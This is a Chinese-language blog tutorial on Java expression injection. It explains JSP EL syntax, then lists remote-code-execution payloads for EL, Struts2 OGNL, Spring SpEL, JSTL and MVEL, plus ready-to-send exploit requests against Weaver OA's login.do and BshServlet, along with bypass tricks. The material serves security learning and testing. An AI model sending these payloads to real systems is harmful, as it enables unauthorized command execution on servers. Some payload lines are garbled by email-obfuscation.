Java 表达式注入

jsp常用

简介

Java中表达式根据框架分为好多种,其中EL表达式是jsp的内置语音,是为了让jsp写起来更简单而出现的,其设计思想来源自 ECMAScript
XPath
。使用EL表达式我们可以在jsp页面中执行运算、获取数据、调用方法、获取对象等操作。其基本语法为 ${变量表达式}

基本语法

大部分的语法都和jsp差不多,说下不太一样的。

获取变量

<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String name = "张三";
    request.setAttribute("name",name);

    request.setAttribute("request", "request_name");
    session.setAttribute("session", "session_name");
    pageContext.setAttribute("page", "page_name");
    application.setAttribute("application", "application_name");
    HashMap<String, String> map = new HashMap<>();
    map.put("my-name", "admin");
    request.setAttribute("test", map);
%>
从四个作用域中搜索变量:${name}
</br>
<%--获取作用域--%>
从requestScope作用域中获取变量:${requestScope.request}
</br>
从sessionScope作用域中获取变量:${sessionScope.session}
</br>
从pageScope作用域中获取变量:${pageScope.page}
</br>
从applicationScope作用域中获取变量:${applicationScope.application}
</br>
从作用域中获取特殊符号变量:${requestScope.test["my-name"]}

操作符

类型 符号
算术型 +、-(二元)、 *
、/、div、%、mod、-(一元)
逻辑型 and、&&、or、双管道符、!、not
关系型 ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。
empty 空操作符是前缀操作,可用于确定值是否为空。
条件型 A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

  1. pageContext
  2. param paramValues
  3. header headerValues
  4. cookie
  5. initParam
  6. Scope系列

函数

${ns:func(param1, param2, ...)}

用el表达式调用函数必须使用 taglib
引入你的标签库

调用Java方法

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
    String name = "张三";
    request.setAttribute("name",name);
%>
调用函数:${elFunc:elFunc(name)}

页面输出 调用函数:hello 张三

禁用/启用EL表达式

全局禁用EL表达式,web.xml中进入如下配置

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义:

<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。

JSP2.0中默认的启用EL表达式。

表达式注入漏洞实例

原理都是一样的:表达式全部或部份外部可控。先列一些通用的poc,然后按照不同框架简单划分下。

通用POC

${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Struts2 OGNL

@[类全名(包括包路径)]@[方法名 |  值名],例如:
@<a href="/cdn-cgi/l/email-protection" data-cfemail="3953584f58175558575e176a4d4b50575e795f564b54584d">[email protected]</a>('foo %s', 'bar')

实例代码

ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));

Spring SPEL

String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();

JSP JSTL_EL

<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

Elasticsearch MVEL

String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
Boolean result = (Boolean) MVEL.eval(expression, vars);

泛微OA EL表达式注入

login.do?message=@[email protected](@[email protected]().exec('whoami').getInputStream())

或者POST

message=(#_memberAccess=@[email protected]_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.[email protected](@[email protected]().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami

还有一种

POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(//"cmd+/c+calc//")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

绕过

  1. 反射
  2. unicode
  3. 八进制

参考

  1. 泛微e-mobile ognl注入
  2. https://xz.aliyun.com/t/7692

  3. https://www.jianshu.com/p/14e9af313e93

  4. 表达式注入

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

原文 

https://y4er.com/post/java-expression-injection/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Java 表达式注入

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址